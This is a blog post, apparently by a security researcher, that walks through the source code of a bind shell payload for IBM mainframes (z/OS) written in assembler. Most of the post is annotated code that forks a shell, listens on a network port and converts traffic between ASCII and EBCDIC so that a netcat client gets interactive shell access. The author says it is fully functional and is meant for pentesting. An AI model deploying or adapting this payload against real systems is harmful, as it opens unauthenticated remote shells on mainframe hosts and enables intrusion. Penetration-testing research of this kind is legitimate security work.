Mainframe Bind Shell – Source Code

Key in any basic toolset for pentesting the mainframe platform is a selection of payloads that can be used to test vulnerabilities.

Below is a bind shell payload, written from scratch in mainframe assembler.  The shell can be connected to using netcat. The payload differs from its Intel counterparts, in that it contains its own EBCDIC to ASCII convertor.  Because of this, the standard exec(‘/bin/sh’,’sh’) could not be used.  Read on for more technical details.

Using the EXEC function causes us to lose control of the STDIN/OUT file descriptors, since we need to translate the character set, this will not work.

Instead I built it to use a FORK/PIPE combo of function so that each inbound byte (presuming 100% of the testing will be done from an ASCII based platform) is converted to EBCDIC and each outbound byte is converted to ASCII.

The full link to the program source code is at the bottom of the post, what follows is a detailed breakdown of the code.

  1. Below is the setup, pretty standard one that I use when developing quick code tests or full apps.  Essentially it just saves the callers registers, and sets up ours.
@SETUP   DS    0F              # full word boundary
         STM   14,12,12(13)    # save our registers
         LARL  15,@SETUP       # base address into R15
         LR    8,15            # copy R15 to R8
         USING @SETUP,8        # R8 for addressability throughout
         LARL  11,SAVEAREA     # sa address
         ST    13,4(,11)       # save caller's save area
         LR    13,11           # R13 to our save area
         DS    0H              # halfword boundaries
  1. Next loads all the addresses of the Assembler Callable Functions we use to execute this program.  They are all stored by name in a data segment beginning at FFUNC address.  This snippet replaces those names with the actual callable memory address.
@LOADFS  L     2,FFUNC         # first function we use
         LHI   3,8             # used for our index
         L     4,NUMFUNC       # number of functions to load
@LDLOOP  LR    0,2             # load string of func name
         XR    1,1             # clear R1
         SVC   8               # perform LOAD
         XC    0(8,2),0(2)     # clear current Func space
         ST    0,0(0,2)        # store addr in func space
         AR    2,3             # increment R2 by 8
         AHI   4,-1            # decrement R4
         CIB   4,0,2,@LDLOOP   # compare R4 with 0,if GT loop
***********************************************************************
FFUNC    DC    A(BFRK)          # address of first function
NUMFUNC  DC    F'11'            # number of funcs listed below
BFRK     DC    CL8'BPX1FRK '    # Fork
BEXC     DC    CL8'BPX1EXC '    # Exec
BSOC     DC    CL8'BPX1SOC '    # Socket
BBND     DC    CL8'BPX1BND '    # Bind
BLSN     DC    CL8'BPX1LSN '    # Listen
BACP     DC    CL8'BPX1ACP '    # Accept
BRED     DC    CL8'BPX1RED '    # Read
BWRT     DC    CL8'BPX1WRT '    # Write
BCLO     DC    CL8'BPX1CLO '    # Close
BFCT     DC    CL8'BPX1FCT '    # Fcntl
BPIP     DC    CL8'BPX1PIP '    # Pipe
  1. Below sets up the pipes (two of them) used to communicate between the parent proc and the child proc.  Each pipe has a read and a write file descriptor.  These will later be used to send bytes to our spawned shell and read the output to pass back to the client.
@CPIPES  LARL  14,@CFD
         BRC   15,LPIPE        # get FDs for child proc
@CFD     ST    5,CFDR          # store child read fd
         ST    6,CFDW          # store child write fd
@CPIPE2  LARL  14,@PFD
         BRC   15,LPIPE        # get FDs for parent proc
@PFD     ST    5,PFDR          # store parent read fd
         ST    6,PFDW          # store parent write fd
  1. Once the pipes are built, we fork a child process.  Initially the child process has its own copy of the same file descriptors (STDIN,STDOUT,STDERR, etc.) as the parent process.
LFORK    L     15,BFRK         # load func addr to 15
         CALL  (15),(CPROCN,RTN_COD,RSN_COD),VL
         BRAS  0,@PREPCHL
         LHI   15,1            # load 1 for RC / Debugging
         L     6,CPROCN        # locad Ret val in R6
  1. A key part of this whole program working is contained below in the line that is “CIB 2,0,7,@PREPPAR”  In this instruction we check the return value from the fork.  Once the fork is complete, the parent process gets the child’s PID (Process ID) as the return value from the fork.   The child PID (which picks up execution in the same program as the parent, just after the fork) gets a 0 as a return code.

Using this information, we can now code specifically for the child PID or the parent PID by testing the fork return code.

Just after the CIB instruction (we are executing instructions only in the child process here, the parent jumped to @PREPPAR.  The instructions that follow the CIB then, set up the child’s file descriptors (FD) like this:

- The child process inherits both pipes created and all 4 FDs associated (R/W for each)
- Close the WRITE FD on one pipe and the READ FD on the other
- Duplicate the remaining READ FD and point it to the child's STDIN
- Duplicate the remaining WRITE FD and point it to the child's STDOUT/STDERR
- Close those READ & WRITE PIPE FDs (now that we've dup'd them)
- The READ FD allows the child to READ what the parent has sent
- The WRITE FD allows the child to WRITE back to the parent
@PREPCHL L     2,CPROCN        # load child proc # to R2
         CIB   2,0,7,@PREPPAR  # R2 not 0? We're parent, move on
         LARL  14,@PRC1
         LA    2,F_CLOSFD
         L     5,PFDW          # load R5 with pfdw
         L     6,PFDW          # load R5 with pfdw
@PRC0    BRC   15,LFCNTL       # call close
@PRC1    LARL  14,@PRC2
         LA    2,F_CLOSFD
         L     5,CFDR          # load R5 with cfdr
         L     6,CFDR          # load R5 with cfdr
         BRC   15,LFCNTL       # call close
@PRC2    LARL  14,@PRC3
         LA    2,F_DUPFD2      # gonna do a dup2
         L     5,PFDR          # parent read fd
         LGFI  6,0             # std input
         BRC   15,LFCNTL       # call dupe2
@PRC3    LARL  14,@PRC4
         LA    2,F_DUPFD2      # gonna do a dup2
         L     5,CFDW          # child write fd
         LGFI  6,1             # std output
         BRC   15,LFCNTL       # call dupe2
@PRC4    LARL  14,@PRC5        # if 0 we are in child pid, goto exec
         LA    2,F_DUPFD2      # gonna do a dup2
         L     5,CFDW          # child write fd
         LGFI  6,2             # std error
         BRC   15,LFCNTL       # call dupe2
@PRC5    LARL  14,@PRC6
         LA    2,F_CLOSFD
         L     5,PFDR          # load R5 with pfdr
         L     6,PFDR          # load R5 with pfdr
         BRC   15,LFCNTL       # call close
@PRC6    LARL  14,@PRC7
         LA    2,F_CLOSFD
         L     5,CFDW          # load R5 with cfdw
         L     6,CFDW          # load R5 with cfdw
         BRC   15,LFCNTL       # call close
@PRC7    BRAS  0,LEXEC
  1. Pipes set up; now a shell can be exec’d.  This process will inherit the FDs we just create, it’s STDIN,OUT,ERR mapped to the parent PID via pipes.
LEXEC    L     15,BEXC         # load func addr to 15
         CALL  (15),(EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,               x
               EXENVC,EXENVLL,EXENVL,                                  x
               EXITRA,EXITPLA,                                         x
               RTN_VAL,RTN_COD,RSN_COD),VL
         BRAS  0,GOODEX        # exit child proc after exec
  1. This section is where the parent PID jumps after the fork and CIB stmt in step 5 above.  Here we also groom our pipe FDs, closing the READ FD on the pipe that corresponds with the WRITE FD closed by the child initially.  Also, close the WRITE FD on the same pipe as the READ FD the child closed initially.  This is by far the most confusing part of the whole setup.
@PREPPAR LARL  14,@PRP1
         LA    2,F_CLOSFD
         L     5,PFDR          # load R5 with pfdr
         L     6,PFDR          # load R5 with pfdr
         BRC   15,LFCNTL       # call close
@PRP1    LARL  14,LSOCK
         LA    2,F_CLOSFD
         L     5,CFDW          # load R5 with cfdw
         L     6,CFDW          # load R5 with cfdw
         BRC   15,LFCNTL       # call close
  1. Here are the Socket,Bind,Listen and Accept calls that are pretty standard, if you’ve done any socket work, this will look very familiar.  At the end of the accept call, the machine is listening on the port you specific and waiting for a connection from the client.
LSOCK    L     15,BSOC         # load func addr to 15
         CALL  (15),(DOM,TYPE,PROTO,DIM,SRVFD,                         x
               RTN_VAL,RTN_COD,RSN_COD),VL
***********************************************************************
LBIND    L     15,BBND                      # load func addr to 15
         LA    5,SRVSKT                     # addr of our socket
         USING SOCKADDR,5                   # layout sockaddr over R5
         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct
         MVI   SOCK_FAMILY,AF_INET          # family inet
         MVI   SOCK_LEN,SOCK#LEN            # len of socket
         MVC   SOCK_SIN_PORT,LISTSOCK       # list on PORT 12345
         MVC   SOCK_SIN_ADDR,LISTADDR       # listen on 0.0.0.0
         DROP  5
         CALL  (15),(SRVFD,SOCKLEN,SRVSKT,                             x
               RTN_VAL,RTN_COD,RSN_COD),VL
***********************************************************************
LLIST    L     15,BLSN          # load func addr to 15
         CALL  (15),(SRVFD,BACKLOG,                                    x
               RTN_VAL,RTN_COD,RSN_COD),VL
***********************************************************************
LACPT    L     15,BACP         # load func addr to 15
         LA    5,CLISKT        # addr of our socket address
         USING SOCKADDR,5      # set up addressing for sock struct
         XC    SOCKADDR(8),SOCKADDR        #zero sock addr struct
         MVI   SOCK_FAMILY,AF_INET
         MVI   SOCK_LEN,(SOCK#LEN+SOCK_SIN#LEN)
         DROP  5
         CALL  (15),(SRVFD,CLILEN,CLISKT,                              x
               CLIFD,RTN_COD,RSN_COD),VL
  1. After the initial connection is made, we are going set the Client socket FD and the FD used to read from the child process to non-blocking.  Doing so allows us to monitor both quickly, allowing near instantaneous response and long interactions.
@SNB1    LARL  14,@SNB2
         LA    2,F_GETFL       # get file status flags
         L     5,CLIFD         # client sock fd
         XR    6,6             # for getfd, arg is 0
         BRC   15,LFCNTL       # call dupe2
@TFLAG   DC    F'0'
@SNB2    ST    7,@TFLAG        # R7 will have our flags
         LA    5,O_NONBLOCK    # add non-blocking flag
         OR    7,5             # or to add the flag to R7
         LARL  14,@SNB3
         LA    2,F_SETFL       # set file status flags
         L     5,CLIFD         # client sock fd
         LR    6,7             # put new flags in R6
         BRC   15,LFCNTL       # call dupe2
@SNB3    LARL  14,@SNB4
         LA    2,F_GETFL       # get file status flags
         L     5,CFDR          # child fd read
         XR    6,6             # for getfd, arg is 0
         BRC   15,LFCNTL       # call dupe2
@SNB4    ST    7,@TFLAG        # R7 will have our flags
         LA    5,O_NONBLOCK    # add non-blocking flag
         OR    7,5             # or to add the flag to R7
         LARL  14,@READCLI     # when we ret, enter main loop
         LA    2,F_SETFL       # set file status flags
         L     5,CFDR          # child fd read
         LR    6,7             # put new flags in R6
         BRC   15,LFCNTL       # call dupe2
  1. This is the main loop of the program.  Initially it perpetually reads from the client socket, waiting for input.  Once input is received, it converts that input byte by byte from ASCII to EBCDIC.  The EBCDIC bytes are then written to the child process via one of our pipes.  After a write, the child process is read until there is no more output waiting.

Bytes read from the child process (output from our shell) are converted back to ASCII and written to the client’s socket, then the loop carries on.

@READCLI L     5,CLIFD         # read from CLIFD
         LA    7,@READCFD      # Nothing read, return to here
         LARL  14,@A2E1        # Bytes read, return to here
         BRC   15,LREAD        # Brach to read function
***********************************************************************
@A2E1    LARL  14,@CCW1        # load return area in r14
         BRC   15,CONVAE       # call e2a func
@CCW1    LARL  14,@READCFD     # after write, read child fd
         L     5,PFDW          # write to child process fd
         BRC   15,LWRITE       # call write function
***********************************************************************
@READCFD L     5,CFDR          # read from child fd
         LA    7,@READCLI      # nothing read, back to socket read
         LARL  14,@E2A1        # Bytes read, return to here
         BRC   15,LREAD        # Branch to read function
***********************************************************************
@E2A1    LARL  14,@CCW2        # load return area in r14
         BRC   15,CONVEA       # call e2a func
@CCW2    LARL  14,@READCFD     # loop read child proc fd after write
         L     5,CLIFD         # write to client socked fd
         BRC   15,LWRITE       # call write function
  1. These are the common functions called by the segments above: READ,WRITE,FCNTL,PIPE.   Notations are made in the full source code about any inputs / outputs to these functions.
***********************************************************************
LREAD    L     15,BRED         # load func addr to 15
         ST    5,@TRFD         # file descriptor we are reading
         ST    7,@NRA          # no bytes read: return address
         ST    14,SAVEAREA     # bytes read: return address
         XR    1,1             # clear R1
         ST    1,BREAD         # clear Bytes Read
         L     5,CLIBUF        # clibuf addr
         XC    0(52,5),0(5)    # 0 out cli buf
         BRAS  0,@CRED         # jump to call
@TRFD    DC    4XL1'0'         # temp var for rd to read
@NRA     DC    4XL1'0'         # temp var for not read ret addr
@CRED    CALL  (15),(@TRFD,CLIBUF,ALET,CLIREAD,                        x
               BREAD,RTN_COD,RSN_COD),VL
         L     14,SAVEAREA     # bytes read RA
         L     7,@NRA          # no bytes read RA
         LHI   15,6            # exit code for this function
         L     6,BREAD         # bytes read (aka rtn val)
         CIB   6,0,2,0(14)     # bytes read, process them
         CIB   6,0,8,0(7)      # OK rtn code, on to nobyte read
         L     6,RTN_COD       # load up return code
         LA    1,EWOULDBLOCK   # load up the non-blocking RTNCOD
         LA    2,EAGAIN        # load up the other OK nblck RTNCOD
         CRB   6,1,8,0(7)      # OK rtn code, on to nobyte read
         CRB   6,2,8,0(7)      # OK rtn code, on to nobyte read
         BRAS  0,EXITP         # -1 and not due to blocking, exit
***********************************************************************
LWRITE   L     15,BWRT          # load func addr to 15
         ST    5,@TWFD          # store fd in temp fd
         ST    14,SAVEAREA      # save return address
         BRAS  0,@CWRT          # jump to write
@TWFD    DC    A(*)             # temp holder for fd
@CWRT    CALL  (15),(@TWFD,CLIBUF,ALET,BREAD,                          x
               BWRIT,RTN_COD,RSN_COD),VL
         L     14,SAVEAREA      # restore return address
         LHI   15,9             # exit code for this func
         L     6,BWRIT          # set r6 to rtn val
         CIB   6,-1,8,EXITP     # exit if R6 = -1
         BCR   15,14            # back to return address
***********************************************************************
LFCNTL   L     15,BFCT         # load func addr to 15
         ST    14,SAVEAREA     # save return address
         ST    5,@FFD          # fd to be duplicated
         ST    2,@ACT          # action field for BPX1FCT
         ST    6,@ARG          # r6 should have the biggest fd
         BRAS  0,@FCTL
@FFD     DC    F'0'
@ACT     DC    F'0'
@ARG     DC    F'0'
@RETFD   DC    F'0'
@FCTL    CALL  (15),(@FFD,@ACT,@ARG,@RETFD,RTN_COD,RSN_COD),VL
         LHI   15,11           # exit code for this func
         L     7,@RETFD        # set r7 to rtn val
         CIB   7,-1,8,EXITP    # r6 = -1 exit
         L     14,SAVEAREA     # reload ret address
         BCR   15,14           # return to caller
***********************************************************************
LPIPE    L     15,BPIP         # load func addr to 15
         ST    14,SAVEAREA     # save return address
         BRAS  0,@PIP
@RFD     DC    F'0'            # read file desc
@WFD     DC    F'0'            # write file desc
@PIP     CALL  (15),(@RFD,@WFD,RTN_VAL,RTN_COD,RSN_COD),VL
         LHI   15,12           # exit code for this func
         L     6,BWRIT         # set r6 to rtn val
         CIB   6,-1,8,EXITP
         L     5,@RFD          # load R5 with read fd
         L     6,@WFD          # load R6 with write fd
         L     14,SAVEAREA     # reload ret address
         BCR   15,14           # return to caller
  1. These two functions are customized ASCII to EBCDIC and vice versa.   They very simply use 2 lookup tables of 255 bytes each.   The E2A table are ASCII bytes ordered by EBCDIC index, the reverse for the other.   So to change the ASCII byte \x41 to EBCDIC \xc1, for instance, you’d look up the \x41st element in the A2E table and read the corresponding byte (\xc1).   The opposite table for the reverse conversion.
CONVAE   LHI   6,1        # R6 has number 1
         L     4,BREAD    # num of bytes read
         L     1,CLIBUF   # address of cli sock input
LOOP1    L     2,A2E      # address of a2e buff
         SR    2,6        # subtract 1 from R2 addr
         LB    3,0(0,1)   # Load byte from cli into R3
         NILF  3,X'FF'    # make sure R3 is 1 positive byte
         AR    2,3        # add ascii val to a2e buff
         LB    3,0(0,2)   # load byte from a2e buff into R3
         NILF  3,X'FF'    # make sure R3 is 1 positive byte
         STC   3,0(0,1)   # store R3 byte back into cli buff
         AR    1,6        # increment client buff
         SR    4,6        # sub1 from ctr, loop if non-neg
         BRC   7,LOOP1    # looop
         BCR   15,14      # return to caller
***********************************************************************
CONVEA   LHI   6,1        # R6 has number 1
         L     4,BREAD    # num of bytes read
         L     1,CLIBUF   # address of cli sock input
LOOP2    L     2,E2A      # address of e2a buff
         SR    2,6        # subtract 1 from R2 addr
         LB    3,0(0,1)   # Load byte from cli into R3
         NILF  3,X'FF'    # make sure R3 is 1 positive byte
         AR    2,3        # add ascii val to e2a buff
         LB    3,0(0,2)   # load byte from e2a buff into R3
         STC   3,0(0,1)   # store R3 byte back into cli buff
         NILF  3,X'FF'    # make sure R3 is 1 positive byte
         AR    1,6        # increment client buff
         SR    4,6        # sub1 from ctr, loop if non-neg
         BRC   7,LOOP2    # looop
         BCR   15,14      # return to caller
***********************************************************************
E2ABUF   DC    X'0102039c09867f978d8e0b0c0d0e0f101112139d0a08871819928fX
               1c1d1e1f808182838485171b88898a8b8c0506079091169394959604X
               98999a9b14159e1a20a0e2e4e0e1e3e5e7f1a22e3c282b7c26e9eaebX
               e8edeeefecdf21242a293b5e2d2fc2c4c0c1c3c5c7d1a62c255f3e3fX
               f8c9cacbc8cdcecfcc603a2340273d22'
         DC    X'd8616263646566676869abbbf0fdfeb1b06a6b6c6d6e6f707172aaX
               bae6b8c6a4b57e737475767778797aa1bfd05bdeaeaca3a5b7a9a7b6X
               bcbdbedda8af5db4d77b414243444546474849adf4f6f2f3f57d4a4bX
               4c4d4e4f505152b9fbfcf9faff5cf7535455565758595ab2d4d6d2d3X
               d530313233343536373839b3dbdcd9da'
         DC    X'9f'
E2A      DC    A(E2ABUF)
***********************************************************************
A2EBUF   DC    X'010203372d2e2f1605150b0c0d0e0f101112133c3d322618193f27X
               1c1d1e1f405a7f7b5b6c507d4d5d5c4e6b604b61f0f1f2f3f4f5f6f7X
               f8f97a5e4c7e6e6f7cc1c2c3c4c5c6c7c8c9d1d2d3d4d5d6d7d8d9e2X
               e3e4e5e6e7e8e9ade0bd5f6d79818283848586878889919293949596X
               979899a2a3a4a5a6a7a8a9c04fd0a107'
         DC    X'202122232425061728292a2b2c090a1b30311a333435360838393aX
               3b04143eff41aa4ab19fb26ab5bbb49a8ab0caafbc908feafabea0b6X
               b39dda9b8bb7b8b9ab6465626663679e687471727378757677ac69edX
               eeebefecbf80fdfefbfcbaae594445424643479c4854515253585556X
               578c49cdcecbcfcce170dddedbdc8d8e'
         DC    X'df'
A2E      DC    A(A2EBUF)
  1. This just cleans up and restores registers that were saved in step 1.
GOODEX   XR    15,15           # zero return code
EXITP    ST    15,0(,11)
         L     13,4(,11)
         LM    14,12,12(13)    # restore registers
         LARL  5,SAVEAREA
         L     15,0(0,5)
         BCR   15,14           # branch to caller

The full source has more notations, all the constants, error checking and handling, etc.    This code is my first go at this, it’s fully functional – but certainly it has some room for optimization and improvement.

If this interests you, come see my talk at this year’s Derbycon 5.0 Saturday at 5:30pm!

Link to the full source on zedsec390 github.